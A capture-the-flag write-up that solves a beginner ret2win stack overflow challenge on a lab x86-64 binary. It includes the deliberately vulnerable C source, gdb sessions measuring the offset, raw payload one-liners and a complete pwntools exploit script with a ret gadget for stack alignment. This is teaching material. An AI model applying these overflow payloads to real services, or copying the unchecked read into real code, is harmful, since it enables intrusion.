Skip to main content
Synced from an Obsidian vault

For graph and advanced features, download the full Intel Codex Vault and open it in Obsidian.

πŸ’» Sample Binary Exploitation Challenge: Ret2win

Challenge: Return to Sender Category: Binary Exploitation / Pwn Points: 100 Event: Beginner CTF 2024 Team: Team Example Author: CTF Guide Date: 2024-01-15

Table of Contents​

  1. Challenge Summary
  2. Analysis
  3. Solution Approach
  4. Technical Details
  5. The Solution
  6. Flag
  7. Reflection
  8. References
  9. Alternative Approaches
  10. Challenge Rating
  11. Appendix

🎯 Challenge Summary​

TL;DR: main() reads 256 bytes into a 32-byte stack buffer, the binary has neither PIE nor a stack canary, and a win() function prints the flag. Fill 40 bytes (32-byte buffer + saved RBP), overwrite the saved return address with win(), and prepend a ret gadget so the stack stays 16-byte aligned.

Challenge Description​

Welcome to Return to Sender, the event guestbook.

$ ./chall
Welcome to Return to Sender!
Name:

It asks for your name and thanks you for playing. That is all it does.
Or is it? Someone left a win() function in the binary.

File: chall
nc challenge.example.com:1337

Files & Services​

  • chall - x86-64 ELF executable, dynamically linked, not stripped (built locally from the source in the Appendix; this is a lab binary, not a live service)
  • challenge.example.com:1337 - remote instance, illustrative stand-in. Every transcript in this writeup was produced against the local binary. The REMOTE switch in solve.py was not exercised, and neither was GDB (it needs gdbserver; the gdb sessions below were run directly)

πŸ” Analysis​

Initial Reconnaissance​

The Binary Exploitation Methodology in CTF Challenge Methodology starts with file, strings, the binutils tools and pwn checksec. First two:

$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7ad830c14bcf5d686d1c1e1bae06a49a99f14408, for GNU/Linux 3.2.0, not stripped

$ pwn checksec ./chall
[*] '/tmp/ret2win/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

The readelf view of the same facts: an EXEC type (not DYN, so no PIE), a GNU_STACK segment that is RW and not RWE (NX on), a GNU_RELRO segment but no BIND_NOW flag (Partial RELRO), and no __stack_chk_* symbols (no canary):

$ readelf -h chall | grep -E 'Type|Entry'
Type: EXEC (Executable file)
Entry point address: 0x4010d0

$ readelf -lW chall | grep -E 'GNU_STACK|GNU_RELRO'
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO 0x002df8 0x0000000000403df8 0x0000000000403df8 0x000208 0x000208 R 0x1

$ readelf -d chall | grep -E 'BIND_NOW|FLAGS'
$ readelf -sW chall | grep -c stack_chk
0

Next, strings and the symbol table. The flag is embedded in the binary, so strings hands it over without any exploitation. That is a convenience of a lab build; on a real service the binary would read the flag from a file the process can see and you cannot, and the exploit path is what matters.

$ strings chall | grep -E 'flag|Name|Welcome|Thanks|Nice'
flag{r3turn_t0_s3nd3r_r3t2w1n_2024}
Nice one! Here is your flag: %s
Welcome to Return to Sender!
Name:
Thanks for playing!

$ nm chall | grep -E ' (win|main)$'
00000000004011e6 T main
00000000004011b6 T win

Let's see what the program does, first with a short input and then with far too many bytes:

$ printf 'Alice\n' | ./chall
Welcome to Return to Sender!
Name: Thanks for playing!
$ echo $?
0

$ python3 -c "print('A' * 100)" | ./chall
Welcome to Return to Sender!
Name: Thanks for playing!
$ echo $?
139

139 is 128 + 11: the process died of SIGSEGV. The welcome text still prints, so the crash happens after read, when main returns.

Key Observations​

  1. File type: x86-64 ELF, dynamically linked, not stripped, so win and main keep their names.
  2. Mitigations: no PIE (fixed base 0x400000), no stack canary, NX enabled, Partial RELRO. In the Methodology's table that combination reads: canary off, "Overflow straight into the return address"; NX on, "ROP / ret2libc" rather than shellcode; PIE off, "Binary addresses are fixed".
  3. SHSTK / IBT: these two lines come from the CET note gcc emits by default (readelf -n chall shows Properties: x86 feature: IBT, SHSTK). They are markers, not enforcement: a shadow stack would have stopped the ret into win below, and it did not.
  4. The bug: main passes a 32-byte stack buffer to read with a count of 0x100 (disassembly below). gcc even says so at build time (Appendix).
  5. The goal: win() at 0x4011b6 prints the flag and calls exit(0).

πŸ’‘ Solution Approach​

Step 1: Read the disassembly​

$ objdump -d chall --no-show-raw-insn -M intel --disassemble=main
00000000004011e6 <main>:
4011e6: endbr64
4011ea: push rbp
4011eb: mov rbp,rsp
4011ee: sub rsp,0x20
4011f2: mov rax,QWORD PTR [rip+0x2e3f] # 404038 <stdout@GLIBC_2.2.5>
4011f9: mov ecx,0x0
4011fe: mov edx,0x2
401203: mov esi,0x0
401208: mov rdi,rax
40120b: call 4010b0 <setvbuf@plt>
401210: lea rax,[rip+0xe3a] # 402051 <_IO_stdin_used+0x51>
401217: mov rdi,rax
40121a: call 401080 <puts@plt>
40121f: lea rax,[rip+0xe48] # 40206e <_IO_stdin_used+0x6e>
401226: mov rdi,rax
401229: mov eax,0x0
40122e: call 401090 <printf@plt>
401233: lea rax,[rbp-0x20]
401237: mov edx,0x100
40123c: mov rsi,rax
40123f: mov edi,0x0
401244: call 4010a0 <read@plt>
401249: lea rax,[rip+0xe25] # 402075 <_IO_stdin_used+0x75>
401250: mov rdi,rax
401253: call 401080 <puts@plt>
401258: mov eax,0x0
40125d: leave
40125e: ret

$ objdump -d chall --no-show-raw-insn -M intel --disassemble=win
00000000004011b6 &lt;win&gt;:
4011b6: endbr64
4011ba: push rbp
4011bb: mov rbp,rsp
4011be: lea rax,[rip+0xe43] # 402008 <_IO_stdin_used+0x8>
4011c5: mov rsi,rax
4011c8: lea rax,[rip+0xe61] # 402030 <_IO_stdin_used+0x30>
4011cf: mov rdi,rax
4011d2: mov eax,0x0
4011d7: call 401090 <printf@plt>
4011dc: mov edi,0x0
4011e1: call 4010c0 <exit@plt>

The lines that matter in main:

  • sub rsp,0x20 and lea rax,[rbp-0x20]: the buffer starts 32 bytes below rbp.
  • mov edx,0x100 ... call read@plt: read(0, buf, 256). The buffer is 32 bytes. 224 bytes too many.
  • leave / ret: main restores rbp from the stack and pops its return address from the stack. Both of those stack slots are within reach of the overflow.

win is a plain function: push rbp, printf, exit(0). Nothing checks who called it. If main's ret lands on 0x4011b6, the flag prints. This is the Methodology's first case: "A win() / print_flag() function exists β†’ ret2win: overwrite the return address with it."

Step 2: Measure the offset with a cyclic pattern​

Guessing the offset is for people who enjoy segfaults. The Methodology's pwn cyclic workflow measures it: send a 200-byte de Bruijn pattern (every 4-byte window is unique), let the program crash, read which window ended up in the saved return address, and look the window up.

$ pwn cyclic 200 > pattern.txt
$ wc -c pattern.txt
200 pattern.txt
$ gdb -q ./chall
Reading symbols from ./chall...
(No debugging symbols found in ./chall)
(gdb) run < pattern.txt
Starting program: /tmp/ret2win/chall < pattern.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to Return to Sender!
Name: Thanks for playing!

Program received signal SIGSEGV, Segmentation fault.
0x000000000040125e in main ()
(gdb) x/i $rip
=> 0x40125e <main+120>: ret
(gdb) info registers rsp rbp
rsp 0x7fffffffd398 0x7fffffffd398
rbp 0x6161616a61616169 0x6161616a61616169
(gdb) x/wx $rsp
0x7fffffffd398: 0x6161616b

Reading the crash:

  • $rip is still on main's ret. On x86-64 the popped value is not a valid address, so the fault is raised by the ret itself and $rsp still points at the slot that held the return address. That is the Methodology's note: "x86-64 faults on ret, so read the saved return address at the top of the stack."
  • $rbp is 0x6161616a61616169 = iaaajaaa: leave popped the saved-RBP slot into rbp before ret ran. That slot was overwritten by the pattern.
  • x/wx $rsp is 0x6161616b = kaaa: the 4 bytes at the saved return address.

Look both up:

$ pwn cyclic -l 0x6161616b
40
$ pwn cyclic -l 0x61616169
32

The offset is 40. The saved RBP sits at offset 32 and the return address at 40, which is exactly what the disassembly predicted: 32 bytes of buffer at rbp-0x20, then 8 bytes of saved RBP at rbp, then the return address at rbp+8. The Methodology's snippets use 72 for their example binary; this one is 40. Measure, never copy.

Step 3: First attempt, the plain payload​

The simplest ret2win payload is 40 filler bytes followed by the address of win as a little-endian 8-byte word:

$ python3 -c "import sys; sys.stdout.buffer.write(b'A'*40 + (0x4011b6).to_bytes(8, 'little'))" | ./chall
Welcome to Return to Sender!
Name: Thanks for playing!
Nice one! Here is your flag: flag{r3turn_t0_s3nd3r_r3t2w1n_2024}
$ echo $?
0

It worked, first try, clean exit. And it is still wrong, in a way that only shows up on other binaries: the stack inside win is 16-byte misaligned. gdb shows it (break on win's first instruction and on its call printf, print $rsp % 16):

$ python3 -c "import sys; sys.stdout.buffer.write(b'A'*40 + (0x4011b6).to_bytes(8, 'little'))" > plain.bin
$ gdb -q -batch -ex 'break *0x4011b6' -ex 'break *0x4011d7' -ex 'run < plain.bin' \
-ex 'p/x $rsp' -ex 'p (unsigned long)$rsp % 16' \
-ex 'continue' -ex 'p/x $rsp' -ex 'p (unsigned long)$rsp % 16' ./chall
Breakpoint 1 at 0x4011b6
Breakpoint 2 at 0x4011d7
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to Return to Sender!
Name: Thanks for playing!

Breakpoint 1, 0x00000000004011b6 in win ()
$1 = 0x7fffffffd3a0
$2 = 0

Breakpoint 2, 0x00000000004011d7 in win ()
$3 = 0x7fffffffd398
$4 = 8

At win's entry $rsp % 16 is 0, and at the call printf it is 8. The x86-64 ABI wants the opposite (8 on entry, 0 at a call). glibc 2.39's printf happens not to trip over that here; the same payload against a build whose win() calls system() dies on a movaps before printing anything. The full story is in Stack Alignment below. The habit to take away is the Methodology's: "If the chain is right but it segfaults inside system, add one extra ret gadget before the function address." Add it before you need it.

Step 4: The robust payload, one extra ret​

A bare ret gadget is an instruction that pops 8 bytes and returns again. Putting it in front of win shifts the stack by exactly the missing 8 bytes. The binary has several; main's own ret is one of them:

$ objdump -d chall --no-show-raw-insn -M intel | grep -E '^\s+[0-9a-f]+:\s+ret\s*$'
40101a: ret
401104: ret
401130: ret
401170: ret
40119e: ret
4011a0: ret
40125e: ret
40126c: ret

pwntools picks the first one, 0x40101a, with ROP(exe).find_gadget(['ret']). Payload: 40 filler bytes, 0x40101a, 0x4011b6. Same gdb check:

$ python3 -c "import sys; sys.stdout.buffer.write(b'A'*40 + (0x40101a).to_bytes(8, 'little') + (0x4011b6).to_bytes(8, 'little'))" > aligned.bin
$ gdb -q -batch -ex 'break *0x4011b6' -ex 'break *0x4011d7' -ex 'run < aligned.bin' \
-ex 'p/x $rsp' -ex 'p (unsigned long)$rsp % 16' \
-ex 'continue' -ex 'p/x $rsp' -ex 'p (unsigned long)$rsp % 16' ./chall
Breakpoint 1 at 0x4011b6
Breakpoint 2 at 0x4011d7
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to Return to Sender!
Name: Thanks for playing!

Breakpoint 1, 0x00000000004011b6 in win ()
$1 = 0x7fffffffd3a8
$2 = 8

Breakpoint 2, 0x00000000004011d7 in win ()
$3 = 0x7fffffffd3a0
$4 = 0

Now win starts with $rsp % 16 == 8 and reaches call printf with $rsp % 16 == 0, exactly as if it had been called normally. This is the payload solve.py sends.


πŸ› οΈ Technical Details​

Tools Used​

  • Primary tools: pwntools 4.15.1 (pwn checksec, pwn cyclic, ELF, ROP, flat, process), GDB 15.1, GNU binutils 2.42 (objdump, readelf, nm, strings), file 5.45
  • Build and target: gcc 13.3.0, glibc 2.39, Ubuntu 24.04 (x86-64)
  • Secondary tools: Python 3.12 for the raw one-liner payloads, xxd to inspect payload bytes

Key Technical Concepts​

  • Stack buffer overflow: read(0, buf, 256) into char buf[32]; bytes past the buffer land in the saved RBP and the saved return address.
  • Saved return address: call main pushed the address of the next instruction in the caller; ret pops it into rip. Overwrite it and main "returns" wherever you want.
  • ret2win: redirect the return into a function the program already contains (win), instead of injecting code.
  • No PIE: the binary is loaded at a fixed base (0x400000), so win's address is the same in every run and can be hardcoded. With PIE, that address would change per run and need a leak first.
  • No stack canary: nothing sits between the buffer and the return address to detect the overwrite. With a canary, main would compare it before returning and call __stack_chk_fail instead of ret.
  • NX: the stack is not executable, so shellcode on the stack is not an option. ret2win does not need it: the code we jump to is in the binary's own text segment.
  • Cyclic (de Bruijn) pattern: a string in which every substring of length n (4 by default) occurs exactly once, so any 4 bytes from a crash identify their own offset.
  • Stack alignment (x86-64 ABI): $rsp must be a multiple of 16 at every call; see Stack Alignment.
  • ret gadget: a lone ret used as a no-op that advances the stack by 8 bytes.

Stack Frame Layout​

main at -O0 is the textbook frame: push rbp saves the caller's frame pointer, mov rbp,rsp makes it the anchor, sub rsp,0x20 carves out the 32-byte buffer, and leave; ret undoes it. buf is at rbp-0x20 (lea rax,[rbp-0x20]), so the bytes you send map onto the frame like this:

higher addresses
+-------------------------+
rbp+0x08 | return address | payload offset 40 <- overwrite with &win
rbp+0x00 | saved RBP | payload offset 32
rbp-0x20 | buf[0] ... buf[31] | payload offset 0 (32 bytes)
+-------------------------+
lower addresses = rsp while main runs

Why 40 and not 32 or 48: the first 32 bytes fill buf, the next 8 fill the saved RBP that push rbp stored at rbp, and only then do you reach the return address that call main stored at rbp+8. 32 + 8 = 40. Three independent checks agreed: the cyclic pattern in gdb (40), the distance $rbp - $rsi at the call read (0x20, so 32 + 8), and the pwntools corefile method (40), both in Alternative Approaches.

Stack Alignment​

The rule (x86-64 psABI): at the moment a call executes, $rsp must be a multiple of 16. The call pushes 8 bytes, so a function starts with $rsp % 16 == 8; push rbp brings it back to 0, and every call the function makes is aligned. glibc code is compiled with that assumption and uses aligned SSE instructions such as movaps, which fault (#GP) on an address that is not a multiple of 16.

A ret2win breaks the assumption. main's ret pops win's address and jumps, but unlike a call it did not push a return address first: win starts with $rsp % 16 == 0 instead of 8. Inside win, push rbp makes it 8, and call printf runs with $rsp % 16 == 8 instead of 0. That is what the two gdb transcripts in Step 3 show: plain payload 0 then 8, robust payload 8 then 0.

Why the plain payload still printed the flag here: the glibc 2.39 printf path that ran did not touch an aligned operand at a misaligned address. That is luck, not correctness. The same plain payload against a sibling build whose win() calls system("/bin/cat flag.txt") instead of printf (source and build command in the Appendix; win sits at 0x4011d6 there, the offset is the same 40):

$ python3 -c "import sys; sys.stdout.buffer.write(b'A'*40 + (0x4011d6).to_bytes(8, 'little'))" > plain_sys.bin
$ gdb -q -batch -ex 'run < plain_sys.bin' -ex 'x/i $rip' -ex 'info registers rsp' -ex 'bt 2' ./chall_sys
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to Return to Sender!
Name: Thanks for playing!

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7c5843b in do_system (line=0x402004 "/bin/cat flag.txt") at ../sysdeps/posix/system.c:148
warning: 148 ../sysdeps/posix/system.c: No such file or directory
=> 0x7ffff7c5843b <do_system+363>: movaps %xmm0,0x50(%rsp)
rsp 0x7fffffffcfb8 0x7fffffffcfb8
#0 0x00007ffff7c5843b in do_system (line=0x402004 "/bin/cat flag.txt") at ../sysdeps/posix/system.c:148
#1 0x00000000004011ed in win ()

rsp is ...cfb8, so 0x50(%rsp) is ...d008, not a multiple of 16, and movaps %xmm0,0x50(%rsp) faults before /bin/cat ever runs. No flag, only a segfault that looks exactly like a broken offset. With the ret gadget in front, the same sibling build prints the flag and exits 0.

The fix costs one gadget and never hurts: the extra ret pops 8 bytes, so win starts with $rsp % 16 == 8, which is what a real call would have left. Make it a reflex for every function you return into on x86-64, and you will never spend an afternoon debugging a payload that was correct all along.

What flat() Does​

flat() from pwntools turns a nested structure of ints, bytes and lists into one bytes object. Integers are packed with p64() (8 bytes, little-endian, because context.binary = ELF('./chall') set bits=64 and endian='little'). A dict {offset: value} means "place value at offset", and the gap is filled with a de Bruijn pattern unless you pass filler=. Two facts worth knowing, both checked:

flat(exe.sym.win) == p64(exe.sym.win) # True: an int is packed with p64()
flat({40: [ret, exe.sym.win]}) == cyclic(40) + p64(ret) + p64(exe.sym.win) # True
flat({40: exe.sym.win}, filler=b'A') == b'A' * 40 + p64(exe.sym.win) # True

So solve.py's flat({40: [ret, exe.sym.win]}) is 56 bytes: 40 bytes of pattern, then the gadget, then win. Written to disk and inspected:

$ xxd flat_payload.bin
00000000: 6161 6161 6261 6161 6361 6161 6461 6161 aaaabaaacaaadaaa
00000010: 6561 6161 6661 6161 6761 6161 6861 6161 eaaafaaagaaahaaa
00000020: 6961 6161 6a61 6161 1a10 4000 0000 0000 iaaajaaa..@.....
00000030: b611 4000 0000 0000 ..@.....

1a10 4000 0000 0000 is 0x40101a and b611 4000 0000 0000 is 0x4011b6, both little-endian. The five zero bytes in each are the upper bytes of the address, which is fine: read copies whatever it is given, NUL bytes included.


🎯 The Solution​

Final Exploit​

solve.py, following the pwntools skeleton from CTF Cheat Sheets:

#!/usr/bin/env python3
# solve.py - "Return to Sender" (ret2win)
from pwn import *

exe = context.binary = ELF("./chall", checksec=False)

def start():
if args.REMOTE: # python3 solve.py REMOTE
return remote("challenge.example.com", 1337)
if args.GDB: # python3 solve.py GDB
return gdb.debug(exe.path, gdbscript="break win\ncontinue")
return process(exe.path)

io = start()
offset = 40 # from: pwn cyclic -l 0x6161616b
ret = ROP(exe).find_gadget(["ret"]).address # keeps the stack 16-byte aligned inside win()
payload = flat({offset: [ret, exe.sym.win]})

log.info(f"win() @ {exe.sym.win:#x}, ret gadget @ {ret:#x}, offset {offset}")
io.recvuntil(b"Name: ")
io.sendline(payload)
print(io.recvall(timeout=3).decode(errors="replace").strip())

Line by line:

  • exe = context.binary = ELF("./chall", checksec=False): loads the ELF and sets the architecture (amd64, little-endian) for every packing helper. checksec=False only silences the banner; pwn checksec already printed it.
  • start(): REMOTE connects to the illustrative service address, GDB launches the process under gdb with a breakpoint on win (the moment the breakpoint hits, you know the redirect worked), and the default is a local process.
  • offset = 40: measured in Step 2, not guessed.
  • ROP(exe).find_gadget(["ret"]).address: a bare ret in the binary, here 0x40101a.
  • flat({offset: [ret, exe.sym.win]}): the 56-byte payload from the previous section.
  • recvuntil(b"Name: ") then sendline(payload): waits for the prompt so the program is blocked in read before the payload arrives. The trailing newline from sendline lands at offset 56, past the payload, and is harmless.
  • recvall(): win calls exit(0), so the process ends on its own and there is nothing to interact with; read everything until EOF and print it.

Execution Output​

python3 solve.py
[x] Starting local process '/tmp/ret2win/chall'
[+] Starting local process '/tmp/ret2win/chall': pid 1901064
[*] Loading gadgets for './chall'
[*] win() @ 0x4011b6, ret gadget @ 0x40101a, offset 40
[x] Receiving all data
[x] Receiving all data: 0B
[x] Receiving all data: 85B
[*] Process '/tmp/ret2win/chall' stopped with exit code 0 (pid 1901064)
[+] Receiving all data: Done (85B)
Thanks for playing!
Nice one! Here is your flag: flag{r3turn_t0_s3nd3r_r3t2w1n_2024}

Thanks for playing! is main finishing normally; the next line is win, reached through the overwritten return address. stopped with exit code 0 is win's exit(0). (The [x] lines are pwntools' progress spinner, which prints as text when stdout is not a terminal; interactively it animates and is replaced by the [+] line.)

Manual Verification​

Without pwntools, with the addresses from nm and objdump typed in by hand:

$ python3 -c "import sys; sys.stdout.buffer.write(b'A'*40 + (0x40101a).to_bytes(8, 'little') + (0x4011b6).to_bytes(8, 'little'))" | ./chall
Welcome to Return to Sender!
Name: Thanks for playing!
Nice one! Here is your flag: flag{r3turn_t0_s3nd3r_r3t2w1n_2024}
$ echo $?
0

And under gdb, a breakpoint on win is hit before the flag prints (this is what python3 solve.py GDB sets up):

$ gdb -q -batch -ex 'break win' -ex 'run < aligned.bin' -ex 'x/i $rip' -ex 'bt' ./chall
Breakpoint 1 at 0x4011be
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to Return to Sender!
Name: Thanks for playing!

Breakpoint 1, 0x00000000004011be in win ()
=> 0x4011be <win+8>: lea 0xe43(%rip),%rax # 0x402008
#0 0x00000000004011be in win ()
#1 0x00007fffffffd4b8 in ?? ()
#2 0x0000000100400040 in ?? ()
#3 0x00000000004011e6 in win ()
Backtrace stopped: Cannot access memory at address 0x4141414141414149

The breakpoint lands just after win's prologue, which proves the redirect. Ignore the backtrace: the saved frame pointer that main's leave popped was filler bytes, so gdb's frame walking runs off into garbage (0x4141414141414149), which is normal after a stack overflow.


🏁 Flag​

flag{r3turn_t0_s3nd3r_r3t2w1n_2024}

πŸ’­ Reflection​

What Went Well​

  • checksec pointed straight at the technique: no canary, no PIE and a named win function is the ret2win checklist.
  • The cyclic pattern gave the offset in one gdb session, and three methods (pattern, $rbp - $rsi, corefile) agreed on 40.
  • Testing the alignment with breakpoints before trusting the first success caught a latent bug that the local binary's clean run had hidden.

Challenges Faced​

  • The plain payload worked on this build, which is the worst kind of bug report: nothing to see. Only the gdb alignment check (and the system() sibling) showed it was wrong.
  • pwn checksec prints two extra lines, SHSTK and IBT, that many writeups never mention. They are CET markers, not active mitigations here, but worth recognising so they do not look like a blocker.
  • flat() pads with a de Bruijn pattern by default, not with As. Harmless, but a hexdump of the payload looks surprising the first time.
  • read does not NUL-terminate: nothing in this challenge prints the buffer back, so it did not matter, but in a challenge that echoes your input it would.

Learning Outcomes​

  • Measure the offset: pwn cyclic, crash, read $rsp, pwn cyclic -l. The number is a property of this binary's frame, not of the technique.
  • No PIE + no canary = hardcoded addresses: if checksec says both are off, the address you read with nm is the address at runtime.
  • Return into a function the way a call would: one extra ret gadget makes $rsp % 16 come out right inside the target, and costs nothing.
  • A clean run is not a correct run: verify with gdb, and try the fragile version against a stricter target to see the failure you are guarding against.

πŸ”— References​

Documentation​

Similar Challenges​

  • Nightmare, module "Buffer Overflow Call Function": CSAW'16 Warmup, CSAW'18 Getit and TU'17 Vulnchat - three ret2win challenges with full writeups
  • CyLab Security Academy (formerly picoCTF): Binary Exploitation category - intro-level stack overflow challenges
  • Any CTF challenge whose nm output shows a win or print_flag symbol next to a read or gets into a small buffer

Further Reading​

  • pwn.college - structured intro to binary exploitation, from stack overflows to ROP
  • Nightmare - an intro to binary exploitation built around CTF challenges, with a pwntools module
  • how2heap - the next stop after the stack: heap exploitation techniques
  • ROPgadget and pwndbg - gadget search and a gdb that shows canaries and ROP frames on demand

🧠 Alternative Approaches​

Method 2: Read the offset off the disassembly, confirm in gdb​

lea rax,[rbp-0x20] already says the buffer is 32 bytes below rbp; add 8 for the saved RBP and you have 40. Confirm dynamically by breaking on the call read and measuring $rbp - $rsi (rsi holds the buffer pointer at the call):

$ gdb -q -batch -ex 'break *0x401244' -ex 'run < pattern.txt' -ex 'p/x $rsi' -ex 'p/x $rbp' -ex 'p $rbp - $rsi' ./chall
Breakpoint 1 at 0x401244
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to Return to Sender!
Name:
Breakpoint 1, 0x0000000000401244 in main ()
$1 = 0x7fffffffd370
$2 = 0x7fffffffd390
$3 = (void *) 0x20

0x20 is 32, and 32 + 8 = 40. No crash needed.

Method 3: Let pwntools find the offset from a corefile​

The Cheat Sheets' one-liner. It sends the pattern, waits for the crash, opens the core dump and reads the 4 bytes at $rsp, the same value gdb showed:

from pwn import *

exe = context.binary = ELF("./chall", checksec=False)
io = process(exe.path); io.sendline(cyclic(200)); io.wait()
core = io.corefile
print("offset =", cyclic_find(core.read(core.rsp, 4)))
[x] Starting local process '/tmp/ret2win/chall'
[+] Starting local process '/tmp/ret2win/chall': pid 2008891
[*] Process '/tmp/ret2win/chall' stopped with exit code -11 (SIGSEGV) (pid 2008891)
[!] Could not delete '/var/lib/apport/coredump/core._tmp_ret2win_chall.1001.a616090c-37b6-4879-ad0e-0da74e334470.2008891.397020895'
[x] Parsing corefile...
[*] '/tmp/ret2win/core.2008891'
Arch: amd64-64-little
RIP: 0x40125e
RSP: 0x7fff9ca9e238
Exe: '/tmp/ret2win/chall' (0x400000)
Fault: 0x6161616c6161616b
[+] Parsing corefile...: Done
offset = 40

RIP: 0x40125e is main's ret, Fault: 0x6161616c6161616b is the kaaalaaa value it tried to jump to, and the result is 40 again. This needs core dumps to reach pwntools; the [!] line is apport's dump directory being read-only on this machine, which changes nothing.

Where to go next​

win() is a gift. Without it, the same overflow leads to ret2libc (leak puts, compute the libc base, call system("/bin/sh")), then to full ROP chains; the Methodology's Binary Exploitation section walks both, and the Vulnerability Research SOP covers the heap once you tire of the stack.


πŸ“‹ Challenge Rating​

AspectRating (1-5)Notes
Difficulty⭐One overflow, one address; the alignment gotcha is the only trap
Fun Factor⭐⭐⭐Short and satisfying: the flag pops the moment the payload lands
Learning Value⭐⭐⭐⭐⭐The canonical first pwn: offsets, mitigations, pwntools, stack alignment
Realism⭐⭐⭐⭐A wrong read size and a leftover win function are a real bug class; the embedded flag is a lab convenience

Overall: ⭐⭐⭐⭐ (4/5) - The right first stop before ret2libc and ROP


πŸ“š Appendix​

How the Challenge Was Built​

Complete source, chall.c:

/* chall.c - "Return to Sender": a beginner ret2win challenge (local lab binary) */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define FLAG "flag{r3turn_t0_s3nd3r_r3t2w1n_2024}"

void win(void) {
printf("Nice one! Here is your flag: %s\n", FLAG);
exit(0);
}

int main(void) {
char buf[32];

setvbuf(stdout, NULL, _IONBF, 0);
puts("Welcome to Return to Sender!");
printf("Name: ");
read(0, buf, 0x100);
puts("Thanks for playing!");
return 0;
}

Build command and its full output (gcc 13.3.0, Ubuntu 24.04):

$ gcc -O0 -no-pie -fno-stack-protector -o chall chall.c
chall.c: In function β€˜main’:
chall.c:19:5: warning: β€˜read’ writing 256 bytes into a region of size 32 overflows the destination [-Wstringop-overflow=]
19 | read(0, buf, 0x100);
| ^~~~~~~~~~~~~~~~~~~
chall.c:14:10: note: destination object β€˜buf’ of size 32
14 | char buf[32];
| ^~~
In file included from chall.c:4:
/usr/include/unistd.h:371:16: note: in a call to function β€˜read’ declared with attribute β€˜access (write_only, 2, 3)’
371 | extern ssize_t read (int __fd, void *__buf, size_t __nbytes) __wur
| ^~~~

The compiler detects the overflow statically. The binary still builds (a warning, not an error), which is how such bugs ship.

What the flags do, checked against a build of the same source without them (gcc -O0 -o chall_hard chall.c):

$ pwn checksec ./chall_hard
[*] '/tmp/ret2win/hard/chall_hard'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
  • -no-pie turns off PIE (PIE enabled β†’ No PIE (0x400000); readelf -h shows DYN β†’ EXEC). Ubuntu's gcc defaults to -pie and, with it, -z now, so dropping PIE also takes RELRO from Full back to Partial. Neither RELRO level matters here: the GOT is never touched.

  • -fno-stack-protector turns off the stack canary (Canary found β†’ No canary found; the two __stack_chk_fail references disappear from the symbol table). Ubuntu's gcc defaults to -fstack-protector-strong.

  • -O0 keeps the frame layout simple (buf at rbp-0x20, leave; ret). It also keeps Ubuntu's default _FORTIFY_SOURCE out of the way: that protection is only wired in when gcc optimises. Build the same source with -O2 and read becomes __read_chk, which checks the size at runtime and aborts before any return address is used, even for an exact ret2win payload:

    $ gcc -O2 -no-pie -fno-stack-protector -o chall_o2 chall.c
    $ python3 -c "import sys; sys.stdout.buffer.write(b'A'*40 + (0x401230).to_bytes(8, 'little'))" | ./chall_o2
    Welcome to Return to Sender!
    Name: *** buffer overflow detected ***: terminated
    $ echo $?
    134

    (The -O2 build prints warnings of its own, among them call to β€˜__read_chk_warn’ declared with attribute warning: read called with bigger length than size of the destination buffer. 0x401230 is win in that build; 134 is 128 + 6, SIGABRT. Compiling with -D_FORTIFY_SOURCE=0 restores the plain read@plt.)

  • NX stays on: GNU_STACK is RW, the linker default, so the stack is not executable. The exploit never needs it to be.

  • ASLR stays on for the stack, libc and heap (/proc/sys/kernel/randomize_va_space is 2 here). It is irrelevant because the only address in the payload is in the non-PIE binary.

Two details in the source make the writeup reproducible. setvbuf(stdout, NULL, _IONBF, 0) disables stdio buffering so the Name: prompt reaches a pipe or socket immediately; without that line, the same recvuntil(b"Name: ") under pwntools times out and returns b'', because a prompt without a newline just sits in the buffer. And exit(0) in win ends the process cleanly instead of returning into whatever follows the payload on the stack.

Reproduce: put chall.c and solve.py in one directory, build with the command above, run python3 solve.py. The addresses (0x4011b6, 0x40101a) are fixed by -no-pie and the exact source; a different gcc may lay the functions out differently, so re-run nm chall | grep win after building. The stack addresses in the gdb transcripts (0x7fffffffd398 and its neighbours) will differ on your machine: gdb turns ASLR off, but where the stack starts still depends on the program's path and the environment variables. The $rsp % 16 values and the distances between addresses stay the same, and those are what the offset and alignment checks rely on.

The system() variant used for the alignment crash​

Same file with the body of win replaced:

void win(void) {
system("/bin/cat flag.txt");
exit(0);
}
$ printf 'flag{r3turn_t0_s3nd3r_r3t2w1n_2024}\n' > flag.txt
$ gcc -O0 -no-pie -fno-stack-protector -o chall_sys chall_sys.c
$ nm chall_sys | grep ' win$'
00000000004011d6 T win

(The build prints the same -Wstringop-overflow warning as the main build.)

Same offset (40), win at 0x4011d6, and the plain payload b'A'*40 + p64(0x4011d6) is what produced the movaps crash in Stack Alignment. With b'A'*40 + p64(0x40101a) + p64(0x4011d6) it prints the flag and exits 0.


Completion Time: 1 hour Team Size: 1 member First Blood: NO Published: 2024-01-15


Last Updated: 2026-12-01